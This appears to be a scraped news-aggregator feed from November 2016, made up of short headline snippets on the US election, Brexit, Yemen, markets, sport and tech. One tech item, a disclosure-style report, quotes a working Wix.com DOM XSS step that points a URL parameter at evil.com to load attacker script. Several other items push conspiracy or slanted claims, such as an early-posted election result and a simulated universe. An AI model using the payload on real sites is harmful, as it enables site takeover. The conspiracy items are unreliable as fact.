A team of Russian scientists from the Russian Arctic National Park came across more than 500 relics on Alexandra Land – a remote, uninhabited island north of Russia.

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The artifacts include discarded petrol canisters, bullets, ruins of bunkers, shoes, and a batch of paper documents that have apparently been well-preserved by the island’s icy climate.

These relics haven’t been made public as yet, but the team says they’re dated and marked with the swastika, providing evidence the island was the location of the mysteriou...

22:05

UNESCO and Jerusalem: Why Israel is angered by sacred site resolutions "IndyWatch Feed War"

Israel's unacceptable occupation policies in Jerusalem's Old City undermine Palestinian religious and cultural claims among others

22:02

Trump’s Moronic Supporters in the Militias Armed and Ready if Clinton Wins "IndyWatch Feed Nthamerica"

The 2016 election has been utterly crazy, all kinds of dangerous morons have slithered out of the woodwork to support Trump because they are desperate for real change and not smart enough to realise that Trump does not offer a true alternative to the usual Washington insiders and any change he did bring would be for the worse.

22:02

Fujitsu SP Scanners Get Linux Support, Backed By Binary Blobs "IndyWatch Feed Tech"

Fujitsu subsidiary PFU has announced Linux support for their SP Series scanners (SP-1120, SP-1125, SP-1130). Sadly, even in 2016, binary-only drivers are still a thing for printers/scanners...

22:02

Snap General Election Seems Certain Following High Court Brexit Decision (Barring Successful Appeal) "IndyWatch Feed World"

By gojam

The High Court has ruled that the Government does not have power to trigger Article 50 without parliamentary approval and a vote from MPs.

Campaigners have won their battle over Theresa May’s decision to use the royal prerogative in her Brexit strategy to start the process of leaving the European Union.

The government have said they will appeal the decision in the Supreme Court. A spokesperson confirmed: “We will appeal this judgment.”

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22:01

Real Madrid Line Up Manchester City's Sergio Aguero Move "IndyWatch Feed Africa"

Real Madrid are lining up a move for Manchester City striker, Sergio Aguero, in the hope their transfer ban will be overturned ahead of the summer transfer window.

Know Your Player: Sergio Leonel "Kun" Agüero is an Argentinian professional footballer who plays as a striker for English club, Manchester City and the Argentina national team. He got married to Maradona's daughter, Giannina Maradona, in 2008 and in 2013, they got divorced.

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22:01

November 4 in history "IndyWatch Feed Pacific"

1333  The River Arno flooding caused massive damage in Florence.

1429   Joan of Arc liberated Saint-Pierre-le-Moûtier.

1576   Eighty Years’ War:  Spain captured Antwerp.

1677  The future Mary II of England married William, Prince of Orange.

1737   The Teatro di San Carlo was inaugurated.

1783   W.A. Mozart’s Symphony No. 36 was performed for the first time.

1791  The Western Confederacy of American Indians won a major victory over the United States in the Battle of the Wabash.

1825  The Erie Canal was completed with Governor DeWitt Clinton performing the Wedding of The Waters ceremony in New York Harbour.

1839   The Newport Rising: the last large-scale armed rebellion against authority in mainland Britain.

1852  Count Camillo Benso di Cavour became the prime minister of Piedmont-Sardinia.

1853 – Anna Bayerová, Czech physician, was born (d. 1924).

1861  The University of Washington opened in Seattle, Washington as the Territorial University.

1864  American Civil War: Battle of Johnsonville – Confederate troops bombarded a Union supply base and destroyed millions of dollars in material.

1879 – Will Rogers, American actor and screenwriter, was born (d. 1935).

1883 – Nikolaos Plastiras, Greek general and politician 135th Prime Minister of Greece, was born(d. 1953).

1884 – Harry Ferguson, Irish engin...

22:00

Only three years to save 1.5C climate target, says UNEP "IndyWatch Feed Enviro"

The door will close on the 1.5C warming limit unless countries raise their ambition before 2020, says the UN Environment Program (UNEP).

Greater pre-2020 action is the “last chance” for 1.5C, says the latest annual UNEP Emissions Gap report. It is published one day before the Paris Agreement on climate change enters into force. The deal pledges to keep warming “well below” 2C and to make efforts to keep it below 1.5C.

This year’s report is the first to explicitly measure the so-called “ambition gap” for 1.5C and its call to action is more strongly worded than previous reports. However, its key messages are unchanged. Carbon Brief puts the 2016 emissions gap report in context.

 Emissions gap

Each year since 2010, UNEP has measured current climate ambition against the latest understanding of what will be necessary to avoid dangerous warming. Any shortfall is known as the “emissions gap”.

Its starting point is the allowable level of global greenhouse gas emissions at a fixed point in future, for a likely chance of limiting warming to a given temperature. In its earliest reports, the reference points were allowable emissions in 2020 and a warming limit of 2C.

This year, in line with the ambition of the Paris Agreement, UNEP has extended its analysis to allowable emissions in 2030, for warming limits of either 1.5 or 2C.

Against these limits, emissions have actually been increasing. They reached around 53 billion tonnes of CO2 equivalent (GtCO2e) in 2014, UNEP says.

For a 50% chance of limiting warming to 1.5C, this total should be no more than 39GtCO2e in 2030. For a likely chance (66%) of 2C, the limit is 42GtCO2e. (Note the different probabilities here. Scenarios with a likely chance of avoiding 1.5C are even more challenging).

Current plans fall well short of these goals, UNEP says. If countries carry out their climate pledges, emissions would remain at 53-55GtCO2e in 2030, it finds. This would leave an emissions gap of 12-14GtCO2e for the 2C limit, or 15-17GtCO2e for the 1.5C limit.

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22:00

Tomi Odunsi & Chef Olurin discuss Decision Making as a Couple on a New Episode of Dear Young Wife | Watch "IndyWatch Feed Africa"

In critical decision making, would you rather take your partner’s advise than professional advise. Today on Dear Young Wife, Chef Olurin and actress Tomi Odunsi share their thoughts and experiences on the topic of decision making as a couple and trusting in each other’s instincts. Watch the Video

21:59

Lavrov: US will have to negotiate with Russia, can’t act alone on global issues David Icke latest headlines

‘The US will have to negotiate with Russia on finding solutions to international issues as no state is now able to act alone, the Russian foreign minister said, adding that problems in bilateral relations began to mount long before the Ukrainian crisis broke out in 2014. The international community should not play by Washington’s rules despite the US being a great power, Russian Foreign Minister Sergey Lavrov said on Wednesday, referring to a recent statement by President Vladimir Putin. “Two or three months ago US President Barack Obama said it is they who set the rules,” Lavrov said, following a meeting with his Greek counterpart, Nikos Kotzias.’ Read more: Lavrov: US will have to negotiate with Russia, can’t act alone on global issues

21:57

Egypt to allow currency to float freely "IndyWatch Feed Africa"

Egypt will float its currency in a move that is expected to see it fall by almost 50% against the dollar. The price is expected to see one US dollar buying 13 Egyptian pounds, up from the nine Egyptian pounds the central bank was trying to keep it at. The country’s central bank said the […]

21:57

US Futures Flat, Rebound From Session Lows On Rising Election Jitters "IndyWatch Feed World"

By Tyler Durden

Asian stocks, S&P futures and European shares trade flat as a tightening race for the U.S. presidency spurs demand for haven assets including the yen while weighing on stocks and Mexico’s peso. A turbulent overnight session saw some early risk off following the plunge in Facebook shares and the Fox News report that an FBI probe into the Clinton foundation may lead to a “likely indictment.”

More recently, news out of the UK, where a High Court ruled against the government, that an Article 50 Vote would need approval from government, sent sterling surging and provided a modest impetus to risk assets. Still, as Bloomberg notes, investors are becoming increasingly “jittery” on the heels of Trump’s recent upward momentum. Egypt’s currency tumbled as the country switched to a freely floating exchange rate.

The yen climbed to a one-month high, U.S. equity index futures fell and the MSCI All Country World Index held near its lowest since July after Fox News reported that a Federal Bureau of Investigation probe involving Democratic nominee Hillary Clinton was intensifying. The peso weakened versus all major peers on concern Mexican exports will suffer if she loses, while Bloomberg’s dollar index dropped for a fifth day amid speculation the election’s fallout could deter the Federal Reserve from raising interest rates. Gold gained.

As observed by the longest losing stretch in US equities since 2011, investors have turned more risk averse over the past week as voter surveys suggested Clinton’s once dominant lead over Donald Trump was faltering ahead of the Nov. 8 election. Bets on a December interest-rate hike by the Fed were stepped up on Wednesday at the central bank left policy unchanged and signaled a December move was likely.

“U.S. political uncertainty ahead of next week’s election is weighing on markets,” said Elias Haddad, a senior currency strategist at Commonwealth Bank of Australia in Sydney. “Most polls suggest the presidential election is turning out to be a closer call now compared to a few days...

21:56

Saudi attack on Sana'a funeral was a war crime: Human rights lawyer David Icke latest headlines

‘A Saudi airstrike early in October on a funeral in the Yemeni capital, Sana’a, where more than 140 people were killed and over 525 wounded, has been “clearly a war crime,” a prominent human rights lawyer tells Press TV. “The attack itself in my views was a war crime because it was largely an attack method involved mass deaths of civilians,” Edward Corrigan, an international human rights lawyer, said in an interview with Press TV. He went on to say that Saudi Arabia violated international humanitarian law by attacking civilians, the wounded, and medical personnel using a vicious “double-tap attack tactic.”‘ Read more: Saudi attack on Sana’a funeral was a war crime: Human rights lawyer

21:52

Physicists Leak Evidence That Supports Elon Musk’s Theory – The Universe Is A Simulation "IndyWatch Feed World"

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Physicists say they may have evidence that the universe is a computer simulation.

How? They made a computer simulation of the universe. And it looks sort of like us.

A long-proposed thought experiment, put forward by both philosophers and popular culture, points out that any civilization of sufficient size and intelligence would eventually create a simulation universe if such a thing were possible.

And since there would therefore be many more simulations (within simulations, within simulations) than real universes, it is therefore more likely than not that our world is artificial.

Now a team of researchers at the University of Bonn in Germany led by Silas Beane say they have evidence this may be true.

In a paper named ‘Constraints on the Universe as a Numerical Simulation’, they point out that current simulations of the universe – which do exist, but which are extremely weak and small – naturally put limits on physical laws.

Technology Review explains that “the problem with all simulations is that the laws of physics, which appear continuous, have to be superimposed onto a discrete three dimensional lattice which advances in steps of time.”

Read also: Scientists Believe They Have Discovered A Parallel Universe That Interact With Our World!

What that basically means is that by just being a simulation, the computer would put limits on, for instance, the energy that particles can have within the program.

 These limits would be experienced by those living within the sim – and as it turns out, something which looks just like these limits do in fact exist.

For instance, something known as the Greisen-Zatsepin-Kuzmin, or GZK cut off, is an apparent boundary of the energy that cosmic ray particles can have. This is caused by interaction with cosmic background radiation. But Beane and co’s paper argues that the pattern of this rule mirrors what you might expect from a computer simulation.

Naturally, at this point the science becomes pretty tricky to wade through – and we would advise you read the paper itself to try and get the full detail of the idea.

But the basic impression is an intriguing one....

21:51

Court: UK govt must consult MPs over Brexit "IndyWatch Feed Africa"

Parliament must vote on whether the UK can start the process of leaving the European Union, the High Court has ruled. This means the government cannot trigger Article 50 of the Lisbon Treaty – beginning formal discussions with the EU – on their own. Theresa May says the referendum – and existing ministerial powers – […]

21:51

There’s hope yet on Brexit: UK Government loses Article 50 court fight "IndyWatch Feed War"

Government loses Article 50 court fight Investment fund manager and Remain voter Gina Miller successfully challenged the government.   By Ian Silvera Theresa May has suffered a major blow over her Brexit plans as the High Court ruled today (3 November) that MPs must have a vote on triggering Article 50, the official mechanism to […]

21:50

‘Like asking if you’ll stop beating your wife’: Saudi ambassador dodges Yemen cluster bomb question David Icke latest headlines

‘The Saudi ambassador to the US has dodged a journalist’s question on the use of cluster bombs in Yemen, saying it’s like asking, “Will you stop beating your wife?” He also said the Saudi-led coalition will continue bombing Yemen, “no matter what.” Prince Abdullah Al-Saud, Saudi Arabia’s ambassador to the United States, was confronted by a reporter from the Intercept, the publication said on Tuesday. “Will you continue to use cluster weapons in Yemen?” the reporter asked the diplomat. Al-Saud laughed before answering: “This is like the question, ‘Will you stop beating your wife?’”’ Read more: ‘Like asking if you’ll stop beating your wife’: Saudi ambassador dodges Yemen cluster bomb question

21:50

West Ham Joins Race For Defender Kone.. "IndyWatch Feed Africa"

West Ham are monitoring the future of Sunderland defender, Lamine Kone, with Everton likely to make a fresh bid in the January transfer window.

Know Your Player: Lamine-Gueye Koné, also known as Lamine Koné, is a professional footballer who plays as a centre-back for English club Sunderland in the Premier League.. He was born on the 1st of February, 1989.

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Autism spectrum disorder linked to mutations in mitochondrial DNA "IndyWatch Feed World"

Children diagnosed with autism spectrum disorder (ASD) have greater numbers of harmful mutations in their mitochondrial DNA than family members, researchers report. Children diagnosed with autism spectrum disorder (ASD) have greater numbers of harmful mutations in their mitochondrial DNA than family members, report Zhenglong Gu of Cornell University in Ithaca, New York, and colleagues, in a study published October 28th, 2016 in PLOS Genetics.

21:50

North Korea’s Nuclear Ticket to Survival "IndyWatch Feed Asia"

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Washington is starting to change its mind about why North Korea has developed nuclear weapons. Credit: Reuters

In recent months, a number of US officials have begun to reassess their understanding of why the North Korean government wants nuclear weapons. Rather than repeating the standard claim that the North Korean government is taking extreme measures to intimidate its enemies into making concessions, some officials have begun to suggest that the North Korean government desires nuclear weapons for defencive purposes.

After the North Korean government conducted its fifth underground nuclear test on September 9, 2016, former US official Victor Cha presented the new line of thinking. “This is not a cry for negotiations,” Cha told The New York Times. “This is very clearly a serious effort at amassing real nuclear capabilities that they can use to deter the US and others.”

A few days later, Cha shared the same logic with a subcommittee of the House Foreign Affairs Committee. “Testing was once interpreted by pundits to be an attention-getting effort for dialogue with the United States,” but “it would be irresponsible today to adhere to such an interpretation,” Cha stated. In today’s world, “North Korea is executing a strategy designed to demonstrate a survivable nuclear deterrent before the next US administration comes into office.” In short, Cha insisted that the North Korean government sought to acquire nuclear weapons for the purpose of deterring its enemies.

Threat or no threat? 

Of course, not everyone in Washington agrees with such thinking. Although Cha and ot...

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Watch : the Saudi ambassador describes his country's aggression against neighboring Yemen Like asking if one will stop beating one's wife’ "IndyWatch Feed World"


The Saudi ambassador to the US has dodged a journalist’s question on the use of cluster bombs in Yemen, saying it’s like asking, “Will you stop beating your wife?” He also said the Saudi-led coalition will continue bombing Yemen, “no matter what.”Prince Abdullah Al-Saud, Saudi Arabia’s ambassador to the United States, was confronted by a reporter from the Intercept, the publication said on Tuesday. “Will you continue to use cluster weapons in Yemen?” the reporter asked the diplomat. Al-Saud laughed before answering: “This is like the question, ‘Will you stop beating your wife?’”
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21:47

Russian military: US jets hit residential areas in Mosul "IndyWatch Feed World"

The US-led coalition supporting the siege of Mosul has hit residential areas in and around the Iraqi city, the Russian military reported. "The US is continuing to carry out airstrikes on residential areas in Mosul and towns in the Nineveh Governorate," Rudskoy said. "On October 31, the Bazvaia and Gogieli neighborhoods located 14 kilometers and 19 kilometers east of Mosul were subjected to massive bombardment by coalition aircraft," General Lieutenant Sergey Rudskoy, head of operations for Russia's General Staff, told journalists on Thursday.

21:46

RadeonSI Gallium3D Receives Some OpenGL 4.5 Conformance Fixes "IndyWatch Feed Tech"

AMD developer Nicolai Hähnle landed a number of commits today within the RadeonSI Gallium3D driver as he's been working on getting this open-source AMD GCN OpenGL driver to pass the Khronos GL 4.4/4.5 conformance tests...

21:45

MARKET MANIPULATION: DRILLING DOWN ON THE EVIDENCE "IndyWatch Feed Economics"

MARKET MANIPULATION: DRILLING DOWN ON THE EVIDENCE

MARKET MANIPULATION: DRILLING DOWN ON THE EVIDENCE Ukraine and Syria have pipelines and crop fields, of which the group of 49 largest financial holding companies want control. The major shareholders instruct their chairmen to make more money. Since western society follow the instructions, they comply even if toppling a government costs lives. If the West had allowed or encouraged Russia to…

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21:45

This Is No "New Cold War"; It"s Far Worse Than That "IndyWatch Feed Asia"

During the Cold War, the two sides agreed that any war between the capitalist side and the communist side would escalate to nuclear war between the US and the USSR and constitute Mutually Assured Destruction (M.A.D.). Therefore, because of this mutual acceptance of M.A.D., hot war did not develop during that entire period, from 1945 till the Soviet Union dissolved and ended its military alliance the Warsaw Pact, both of which ended in 1991. Throughout that 45-year period, called «the Cold War», there was no hot war between the two nuclear superpowers, because both sides believed that any hot war would end in M.A.D. — mutual annihilation, and the end of civilization...

21:44

Critical DOM XSS flaw on Wix.com put million websites at risk "IndyWatch Feed Tech"

A DOM-based cross-site scripting vulnerability in the cloud-based development platform Wix.com put million websites at risk.

The cloud-based development platform Wix.com is affected by a DOM-based cross-site scripting vulnerability that could be exploited by attackers to gain full control over any website running on the popular platform. Millions of websites hosted on Wix.com are potentially at risk.

At the time I was writing the flaw is still present as confirmed by Matt Austin (@mattaustin), senior security research engineer with Contrast Security, who discovered the issue.

“DOM Based XSS (or as it is called in some texts, “type-0 XSS”) is an XSS attack wherein the attack payload is executed as a result of modifying the DOM “environment” in the victim’s browser used by the original client side script, so that the client side code runs in an “unexpected” manner. That is, the page itself (the HTTP response that is) does not change, but the client side code contained in the page executes differently due to the malicious modifications that have occurred in the DOM environment.” reads the description published by the OWASP.

DOM Based XSS is quite different from an XSS attack wherein the malicious payload is provided in the response page due to a server-side vulnerability.

Below an excerpt from Austin’s blog post.

“Wix.com has a severe DOM XSS vulnerability that allows an attacker complete control over any website hosted at Wix. Simply by adding a single parameter to any site created on Wix, the attacker can cause their JavaScript to be loaded and run as part of the target website.

TL;DR:

  • Add: ?ReactSource=http://evil.com to any URL for any site created on wix.com.
  • Make sure evil.com hosts a malicious file at /packages-bin/wixCodeInit/wixCodeInit.min.js

Here’s an example exploit occurring, causing a reflected payload to occur:

Wix.com flaw -wixfig1-1116
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21:43

CVE-2016-7035 - pacemaker - improper IPC guarding "IndyWatch Feed Tech"

Posted by Jan Pokorný on Nov 03

Following issue is being publicly disclosed today:

A vulnerability has been found in pacemaker, a software package for
high-availability clustering.

It was discovered that at some not so uncommon circumstances, some
pacemaker daemons could be talked to, via libqb-facilitated IPC, by
unprivileged clients due to flawed authorization decision. Depending
on the capabilities of affected daemons, this might equip unauthorized
user with local...

21:42

US jets strike residential areas in Mosul - Russian military David Icke latest headlines

‘The US-led coalition supporting the siege of Mosul has hit residential areas in and around the Iraqi city, the Russian military reported. “The US is continuing to carry out airstrikes on residential areas in Mosul and towns in the Nineveh Governorate,” Rudskoy said. On October 31, the Bazvaia and Gogieli neighborhoods located 14 kilometers and 19 kilometers east of Mosul were subjected to massive bombardment by coalition aircraft,” General Lieutenant Sergey Rudskoy, head of operations for Russia’s General Staff, told journalists on Thursday.’ Read more: US jets strike residential areas in Mosul – Russian military

21:42

Michael Slager’s Trial has Begun; Will He be Acquitted Even with Walter Scott’s Murder Caught on Film? "IndyWatch Feed War"

The trial of North Charleston, SC Police Officer Michael Slager, who was caught on video murdering Walter Scott last year, began on Monday with jury selection. That jury has now been selected and after a request for a change of venue by Slager’s defense team was rejected, opening statements were scheduled to begin later today (Thursday).

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The fact that the jury consists of six white men and five white women with just one black man is an early question, being that Slager is white and Scott was black. The shooting has stirred controversy over race relations and police violence against minorities since the video taken by a bystander (unbeknownst to Slager) first emerged.

Beyond that, the obvious question is whether a jury will convict Slager even with the abundance and obviousness of the evidence against him. Jurors have a well documented bias toward police based on the social engineering that tells people from the moment they are born that police are heroes and more trustworthy than everyone else, in spite of evidence to the contrary. In addition, prosecutors often “throw the game,” intentionally slanting their performance in favor of the police officers that they work with and are dependent on in order to convict regular citizens.

Regardless of that, the aforementioned solidness of the evidence against Slager makes it hard to believe that he would be able to walk in this particular case. The graphic video that was taken by a random bystander clearly shows him shooting Walter Scott in the back as he is running away from him and posing no danger whatsoever. It also captured his attempt to plant a taser near Scott’s body to justify the murder.

It would be beyond outrageous if Michael Slager somehow manages to walk free in this case. What type of Policeman’s Discount...

21:41

US pursues to partition Mideast states to protect Israel: Analyst David Icke latest headlines

‘The United States has hatched a vicious plot to partition countries across the strategic Middle East region in order to “protect Israel” and “steal their natural resources,” says a former US Army officer from San Francisco, California. Scott Bennett, a former US Army psychological warfare officer and counter-terrorism analyst made the remarks in an interview with Press TV on Wednesday. The US and its closest ally Israel are “strategically thinking about dissolving the regimes of the Middle East Muslim countries to make them less effective,” Bennett said, adding, “They don’t have to destroy them. They simply have to make them ineffective. “’ Read more: US pursues to partition Mideast states to protect Israel: Analyst

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Former Big Brother Africa Housemate Tayo Faniran is giving Music a Shot! See the BTS Photos for his New Video “Girl or Money” "IndyWatch Feed Africa"

Tayo Faniran, the first runner up of 2014 Big Brother Africa is making a return to music. The aspirant artist, who now co-owns King Kong records with his childhood friend Olalekan Olaleye, is ready to drop a new song in the coming weeks. The official music video for the song titled “Girl or Money” has just been shot […]

21:40

Dutch nature reserve video "IndyWatch Feed World"

This 19 October 2016 video is the trailer of a film about the Stabrechtse Heide nature reserve in North Brabant province in the Netherlands; where animals like great cormorants and nightjars live.

21:40

Infighting between Aleppo militants leave dozens dead and injured David Icke latest headlines

‘Infighting between two militant groups in Syria’s divided city of Aleppo has left at least 25 terrorists from both sides dead and injured, says a UK-based monitoring group. The so-called Syrian Observatory for Human Rights said on Wednesday that the clashes erupted in the city’s militant-held eastern region between the Fastaqim Union and Nour al-Din al-Zenki Movement terrorist groups. The fighting broke out after al-Zenki militants attacked regions held by the rival terrorist group after it arrested the al-Zenki’s commander.’ Read more: Infighting between Aleppo militants leave dozens dead and injured

21:38

Facebook profit soars, but growth might slow "IndyWatch Feed Economics"


The world's largest online social media network reported a staggering 166-percent jump in profit for the third quarter year-on-year. Earnings in the three months to the end of September amounted to $2.4 billion (2.4 billion euros).Facebook said the increase came on the back of a greater-than-expected 56-percent rise in quarterly revenue to $7.01 billion, showing the company was claiming a larger share of the online advertising pie. However, in a call with analysts, Facebook Chief Financial Officer David Wehner said ad growth would likely slow due to limits on "ad load," or the number of ads that the firm could put in front of customers without alienating them. Mobile ads accounted for 84 percent of Facebook's total advertising revenue in the third quarter, compared with 78 percent a year earlier. The company said it surpassed the one-billion mobile-only monthly users' threshold last quarter. Wehner also warned that 2017 would be a year of aggressive investment, leading to a substantial increase in expenses.The growth warning saw investors send Facebook shares down by 7 percent in after-hours trading despite the strong earnings that beat Wall Street estimates. The social media network said it hired 1,200 employees in the quarter under review, boosting its total workforce to 15,700.     Source: dw.com
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21:38

Fascist And Communist Terminology Used For A Global Fascist Order Based on Rome: "IndyWatch Feed War"

Empathy Is Proof Of Conciousness: Alex Jones And Gerald Celente – Alex Jones and Gerald Celente discuss the globalists and how they’re willing to sacrifice and destroy all of humanity to achieve their goals.  

21:38

ISIS leader threatens attacks in Turkey & Saudi Arabia; confident Mosul will not fall David Icke latest headlines

‘Islamic State’s leader, Abu Bakr al-Baghdadi, who is reportedly hiding out in the besieged city of Mosul, released his first message since 2015, urging followers to wage all-out war and take the fighting into Saudi Arabia and Turkey. In the recorded message, the Islamic State (IS, previously ISIS/ISIL) chief also expressed confidence that the terrorist group would ultimately be victorious in fending off the Iraqi forces and allied militias trying to retake Mosul, where he declared the ‘caliphate’ two years ago. The 31-minute-long recording, the authenticity of which could not be verified, was released by Islamic State supporters on Thursday, according to Reuters.’ Read more: ISIS leader threatens attacks in Turkey & Saudi Arabia; confident Mosul will not fall

21:37

DR Congo – new accord sets election date at April 2018 at the earliest as Kabila clings on "IndyWatch Feed Africa"

Institute for Security Studies (Tshwane)

A new political accord in the DRC sets elections for April 2018 at the earliest.
31 OCT 2016  /  BY STEPHANIE WOLTERS

The joint summit between the Southern African Development Community (SADC) and the International Conference on the Great Lakes Region (ICGLR) in Luanda last week was the last remaining obstacle standing between the government of President Joseph Kabila and a formal delay in the 2016 presidential elections.

As expected, the SADC-ICGLR heads of state formally endorsed the political accord reached in Kinshasa on 18 October. This followed a controversial six-week political dialogue between the ruling party and elements of the political opposition and civil society.

A delegation of SADC foreign ministers from Angola, Mozambique and Tanzania had travelled to Kinshasa days head of the signing. Its statement supporting the national dialogue process was a clear sign that Kabila could count on the region to endorse its outcome.

The political accord sets elections for April 2018 at the earliest, and contains no language about whether or not Kabila can or will stand for a third mandate.

Having secured regional backing, Kabila can now sit back and relax. It is a wholesale victory for him and his ruling party, even if it has been rejected by key opposition parties in the Democratic Republic of the Congo (DRC) and certain members of the international community.

Part of the support team to the African Union (AU) facilitation led by former Togolese Prime Minister Edem Kodjo, the European Union (EU) issued a statement on 17 October – as the signing seemed imminent. In it, it criticises the fact that the dialogue was not sufficiently inclusive, with key political parties having boycotted the process from the outset.

After the violent crackdown on political protests in September led to the deaths of over 30 people, even the Catholic Church – which had been trying to play a unifying role – eventually withdrew from the talks. It took with it the last bit of credibility that the dialogue may have had.

The EU’s statement came too late in the day to make a difference, and looked like the last-ditch effort that it was. It is also hard to reconcile the supporting role the EU played in the dialogue with its criticisms of the process.

After the September crackdowns, the EU, the UN and the International Organisation of the Francophonie (OIF) should have pressed pause on their support to the process, and insisted on greater participation and an end to harassment and violence....

21:37

How Have the IEA's Renewable Forecasts Changed? "IndyWatch Feed Economics"

Renewable energy capacity is growing more rapidly than expected, says the International Energy Agency (IEA), overtaking coal for the first time.

21:35

Assange: WikiLeaks did not receive Clinton emails from Russian government David Icke latest headlines

‘In a John Pilger Special, to be exclusively broadcast by RT on Saturday courtesy of Dartmouth Films, whistleblower Julian Assange categorically denied that the troves of US Democratic Party and Clinton work and staff emails released this year have come from the Russian government. “The Clinton camp has been able to project a neo-McCarthyist hysteria that Russia is responsible for everything. Hillary Clinton has stated multiple times, falsely, that 17 US intelligence agencies had assessed that Russia was the source of our publications. That’s false – we can say that the Russian government is not the source,” Assange told the veteran Australian broadcaster as part of a 25-minute John Pilger Special, courtesy of Dartmouth Films.’ Read more: Assange: WikiLeaks did not receive Clinton emails from Russian government

21:34

Somalia’s perpetual state of transition "IndyWatch Feed Africa"

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Delays in Somalia’s election process continue to raise concerns.
03 NOV 2016  /  BY PETER FABRICIUS

Somalia’s legislative elections missed a key deadline last week, risking a third delay and raising more serious questions about whether the deeply troubled country will ever make it out of its open-ended transition phase to become a real democracy. Four of the six federal states completed the election of members of the new upper house of the Somali Federal Parliament. But voting for the more important lower house – The People’s House – which was supposed to start on 23 October and run through to 10 November, had not begun.

This raised some doubts about whether or not Parliament would be able to perform its first duty of electing a new president on 30 November, who would appoint a new prime minister, who would in turn appoint a cabinet.

The failure of clan elders and others involved to complete the process of choosing an electoral college, to elect the 275 members of the lower house, provoked a strong rebuke from the international community. In a rare joint statement, the United Nations (UN), African Union, Inter-Governmental Authority on Development, Ethiopia, Italy, Sweden, the United Kingdom and the United States expressed ‘grave concerns’ over allegations of corruption and the intimidation of prospective candidates for Parliament, electoral college delegates and election officials.

Michael Keating, Special Representative of the UN Secretary-General for Somalia, warned this week that: ‘The electoral process is reaching a pivotal moment’ and that the continual delays, intimidation and vote-buying ‘are now raising serious questions about the integrity and credibility of the process.’

It is not the logistical challenges familiar to many other African elections – of getting ballots and other materials to thousands of polling stations scattered around the country – which is causing the delay. Only 14 025 people out of Somalia’s population of some 12 million may vote in this election; and they are to do so in just a few federal state capitals.

Even so, that is an improvement. The Transitional Federal Government, which ran the country from 2000 to 2012, was chosen by the 135 clan elders. The current Federal Government of Somalia was established after the last election/selection in 2012, but remained, in effect, not much les...

21:33

GoPro Inc: Why GPRO Stock Is Taking Damage "IndyWatch Feed World"

By Stephen Karmazyn

What’s Hurting GoPro’s Stock?
GoPro Inc (NASDAQ:GPRO) fell in after-hours trading by six percent, due to an expected third-quarter report of further sales decline.

GPRO stock has recorded three straight quarters of sales decline, and market forecasters don’t expect that to change tomorrow when GoPro releases its third-quarter report for this year.

This year has been a rough one for GPRO stock. Since the summer of 2015, GoPro has.

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The Fix Is In: NBC Affiliate Accidentally Posts Election Results A Week Early: Hillary Wins Presidency 42% to Trump’s 40% David Icke latest headlines

‘NBC affiliate WRCB TV in Chattanooga, Tennessee has inadvertently posted election night results. The results page appears to be similar to what mainstream news networks display on election night, including Presidential and Congressional results, the popular vote count, electoral votes, and percentage of precincts reporting. The page, a screen shot of which has been sourced from internet archive site The Wayback Machine, is posted above and shows totals for the upcoming Presidential race. It announces Hillary Clinton as the winner. As Jim Stone notes, the page was pulled directly from the WorldNow.com content management platform utilized by major networks like NBC, CBS, ABC and Fox and appears to be a non-public staging area for news and election results. The original page has since been reset.’ Read more: The Fix Is In: NBC Affiliate Accidentally Posts Election Results A Week Early: Hillary Wins Presidency 42% to Trump’s 40%

21:32

US police violence against DAPL pipeline protesters continues "IndyWatch Feed World"

This video from the USA says about itself:

2 November 2016

Police continue to viciously attack the protesters at Standing Rock, ND. They are being hosed down with pepper spray, shot with rubber bullets and more. Cenk Uygur and Ana Kasparian, hosts of The Young Turks, break it down.

This video from the USA says about itself:

President Obama On Dakota Access Pipeline

2 November 2016

Dakota Access was told by the federal government not to drill close to the Missouri River. Well guess where they’re drilling. Will the Obama administration step in? Cenk Uygur and John Iadarola, hosts of The Young Turks, break it down.

PRESIDENT OBAMA: REROUTING THE DAKOTA ACCESS PIPELINE IS A POSSIBILITY “My view is that there is a way for us to accommodate sacred lands of Native Americans.” [Reuters]

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21:32

The BBC Asks – What Really Happened With The Clintons In Haiti? "IndyWatch Feed War"

The BBC Asks – What Really Happened With The Clintons In Haiti? When it comes to the Clintons, where there’s smoke, there’s usually a structure fire. I doubt Haiti is any different. With that in mind, I wanted to flag an article published earlier today at the BBC, What really happened with the Clintons in Haiti? […]

21:31

Emails show how Republicans lobbied to limit voting hours in North Carolina "IndyWatch Feed Politics.us"

When Bill McAnulty, an elections board chairman in a mostly white North Carolina county, agreed in July to open a Sunday voting site where black church members could cast ballots after services, the reaction was swift: he was labeled a traitor by his fellow Republicans. “I became a villain,…


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In America’s ‘Rust Belt,’ more voters trust Clinton on trade: poll "IndyWatch Feed Politics.us"

Republican presidential nominee Donald Trump’s promise to restore American jobs by renegotiating international trade deals appears to be failing him in states most affected by outsourcing, according to a Reuters/Ipsos poll. Voters in Michigan, Ohio and Pennsylvania – three competitive…


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The Dixie Chicks joined forces with Beyoncé for this life-altering CMA Awards performance "IndyWatch Feed Politics.us"

During the afternoon of Wednesday, Nov. 2, word leaked around the web that a famous pop singer would be joining the The 50th Annual CMA Awards. It was later confirmed that it would, in fact, be Beyoncé. A little bit country! Is there anything @Beyonce can’t do?!? #CMAawards50 @CountryMusic…


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US guilty of ‘gross miscarriages of justice’ in order to justify Guantanamo – study "IndyWatch Feed Politics.us"

A study by Afghan-based research group came to troubling conclusions regarding the US government’s handling of Guantanamo Bay, finding it used bad intelligence and rigged its own legal system to justify detentions, thus prolonging the Afghan war. The author of the study by the Afghan Analysts Network says systemic ignorance of reality by both intelligence and […]

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21:30

NVIDIA Corporation: Is a Selloff in NVDA stock Looming? "IndyWatch Feed World"

By Patrick Brik, BAS

NVDA Stock: Bearish Signals Mounting
NVIDIA Corporation (NASDAQ:NVDA) stock is another great name in the semiconductor space that is having a spectacular year. NVDA stock is up 111%, as this sector is shining bright. Off of the lows that were created in the beginning of the year, NVDA stock is up a whopping 170%.

These gains are huge, to say the least, and I wish I could say that this performance will continue, but I have reason to believe that the price has got ahead of itself, and that a sell-off in NVIDIA stock is looming.

Price and.

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21:30

Still Somehow Considering A Third-Party Candidate? Try This Vote-Swapping App Instead "IndyWatch Feed World"

Trump Traders lets you vote to defeat Trump even if you are for some reason still insistent on a third party in the face of everything Trump represents.

Trump Traders lets you vote to defeat Trump even if you are for some reason still insistent on a third party in the face of everything Trump represents.

If you don't want Trump to win, but can't bring yourself to vote for Clinton (because you care deeply about email server maintenance, say), there's another option in certain states: The Trump Traders app will let you swap your vote with someone in another state.

